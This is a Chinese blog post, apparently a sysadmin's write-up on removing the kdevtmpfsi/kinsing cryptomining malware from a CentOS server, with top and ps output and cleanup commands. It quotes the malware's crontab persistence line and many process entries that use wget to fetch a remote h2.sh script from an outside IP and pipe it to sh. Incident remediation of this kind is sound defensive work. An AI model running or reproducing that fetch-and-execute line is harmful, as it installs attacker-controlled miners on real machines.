美文网首页CentOSLinux
kdevtmpfsi病毒进程(挖矿)导致CPU过高

kdevtmpfsi病毒进程(挖矿)导致CPU过高

作者: 无味wy | 来源:发表于2022-05-07 17:32 被阅读0次

    查看占CPU任务名

    $ top -H
    
    top - 19:47:30 up 72 days,  4:01,  1 user,  load average: 3.46, 3.17, 3.12
    Threads: 357 total,   5 running, 352 sleeping,   0 stopped,   0 zombie
    %Cpu(s): 98.7 us,  1.3 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
    KiB Mem :  1882016 total,    69388 free,   579844 used,  1232784 buff/cache
    KiB Swap:  2097148 total,  2002172 free,    94976 used.  1106516 avail Mem 
    
      PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND                                                                               
    24665 zd        20   0  710928 265496    672 R 98.0 14.1   3088:23 kdevtmpfsi                                                                            
     4332 wsx       20   0  162392   2536   1600 R  0.3  0.1   0:00.02 top                                                                                   
    18025 root      20   0  744796  14724   2060 S  0.3  0.8   7:15.89 barad_agent                                                                           
        1 root      20   0   43744   3492   2252 S  0.0  0.2  14:14.25 systemd                                                                               
        2 root      20   0       0      0      0 S  0.0  0.0   0:01.60 kthreadd                                                                              
        4 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kworker/0:0H                                                                          
        6 root      20   0       0      0      0 S  0.0  0.0   2:20.00 ksoftirqd/0                                                                           
        7 root      rt   0       0      0      0 S  0.0  0.0   0:00.00 migration/0                                                                           
        8 root      20   0       0      0      0 S  0.0  0.0   0:00.00 rcu_bh                                                                                
        9 root      20   0       0      0      0 R  0.0  0.0  11:28.07 rcu_sched                                                                             
       10 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 lru-add-drain                                                                         
       11 root      rt   0       0      0      0 S  0.0  0.0   0:21.41 watchdog/0                                                                            
       13 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kdevtmpfs                                                                             
       14 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 netns                                                                                 
       15 root      20   0       0      0      0 S  0.0  0.0   0:01.40 khungtaskd                                                                            
       16 root       0 -20       0      0      0 S  0.0  0.0   0:00.03 writeback                                                                             
       17 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kintegrityd                                                                           
       18 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 bioset                                                                                
       19 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 bioset                                                                                
       20 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 bioset                                                                                
       21 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kblockd                                                                               
       22 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 md                                                                                    
       23 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 edac-poller                                                                           
       24 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 watchdogd                                                                             
       30 root      20   0       0      0      0 S  0.0  0.0   0:26.73 kswapd0                                                                               
       31 root      25   5       0      0      0 S  0.0  0.0   0:00.00 ksmd                                                                                  
       32 root      39  19       0      0      0 S  0.0  0.0   0:07.05 khugepaged                                                                            
       33 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 crypto      
    

    查看相应的病毒文件
    一般病毒都都有守护进程,你杀掉会重新启动,必须删除文件的同时,去掉可能存在的定时 任务

    [wsx@VM-0-5-centos ~]$ ps -ef | grep kinsing
    wsx       4572  2594  0 19:48 pts/0    00:00:00 grep --color=auto kinsing
    zd       23244     1  0 8月01 ?       00:03:42 /tmp/kinsing
    [wsx@VM-0-5-centos ~]$ ps -ef | grep kdevtmpfsi
    wsx       4574  2594  0 19:49 pts/0    00:00:00 grep --color=auto kdevtmpfsi
    zd       25128     1 97 8月01 ?       37-09:55:38 /tmp/kdevtmpfsi
    

    查看指定用户的定时任务:

    $ sudo crontab -e -u zd
    * * * * * wget -q -O - http://91.3.146.118/h2.sh | sh > /dev/null 2>&1
    

    我们可以看到有个定时任务,就是一个sh脚本
    清除
    把这个定时任务删除,同时杀掉上面的进程

    [wsx@VM-0-5-centos ~]$ sudo kill -9 25128
    [wsx@VM-0-5-centos ~]$ sudo kill -9 23244
    [wsx@VM-0-5-centos ~]$ sudo rm /tmp/kinsing
    [wsx@VM-0-5-centos ~]$ sudo rm /tmp/kdevtmpfsi 
    

    查看top,看有什么遗漏没有。发现还有大量未知的shell运行,进行批量删除:

    [zd@VM-0-5-centos spool]$ ps -ef | grep 'http://195'
    zd         729   726  0 19:25 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd         731   729  0 19:25 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd         890   889  0 19:26 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd         893   890  0 19:26 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        1052  1051  0 19:27 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        1054  1052  0 19:27 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        1216  1214  0 19:28 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        1218  1216  0 19:28 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        1367  1366  0 19:29 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        1370  1367  0 19:29 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        1528  1523  0 19:30 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        1531  1528  0 19:30 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        1689  1688  0 19:31 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        1692  1689  0 19:31 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        1843  1842  0 19:32 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        1845  1843  0 19:32 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        2001  2000  0 19:33 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        2004  2001  0 19:33 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        2158  2156  0 19:34 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        2159  2158  0 19:34 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        2320  2318  0 19:35 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        2324  2320  0 19:35 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        2469  2468  0 19:36 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        2472  2469  0 19:36 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        2686  2685  0 19:37 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        2688  2686  0 19:37 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        2830  2829  0 19:38 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        2832  2830  0 19:38 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        2992  2991  0 19:39 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        2994  2992  0 19:39 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        3151  3148  0 19:40 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        3154  3151  0 19:40 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        3302  3301  0 19:41 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        3304  3302  0 19:41 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        3473  3472  0 19:42 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        3475  3473  0 19:42 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        3631  3629  0 19:43 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        3633  3631  0 19:43 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        3785  3784  0 19:44 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        3787  3785  0 19:44 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        3948  3947  0 19:45 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        3950  3948  0 19:45 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        4107  4105  0 19:46 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        4109  4107  0 19:46 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        4263  4262  0 19:47 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        4265  4263  0 19:47 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        4427  4426  0 19:48 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        4430  4427  0 19:48 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        4577  4576  0 19:49 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        4579  4577  0 19:49 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        4737  4736  0 19:50 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        4740  4737  0 19:50 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        4896  4894  0 19:51 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
    zd        4899  4896  0 19:51 ?        00:00:00 wget -q -O - http://195.3.146.118/h2.sh
    zd        7879  7445  0 20:09 pts/0    00:00:00 grep --color=auto http://195
    [zd@VM-0-5-centos spool]$ ps -ef | grep 'http://195' | grep -v grep | awk '{print $2}' | xargs kill -9
    

    检查以下是否有计划任务

    /etc/cron.d/、/etc/cron.daily/、/etc/cron.deny、/etc/cron.hourly/、/etc/cron.monthly/、/etc/crontab、/etc/cron.weekly/、/var/spool/cron/、/var/spool/cron/crontabs/root、/usr/local/bin/dns、/etc/hosts、/etc/sysupdate、/tmp/xms、/var/spool/cron/root、/etc/cron.d/root、/var/spool/cron/crontabs/root
    

    检查是否有可疑公钥

    cat ~/.ssh/authorized_keys
    

    相关文章

      网友评论

        本文标题:kdevtmpfsi病毒进程(挖矿)导致CPU过高

        本文链接:https://www.haomeiwen.com/subject/pjwkyrtx.html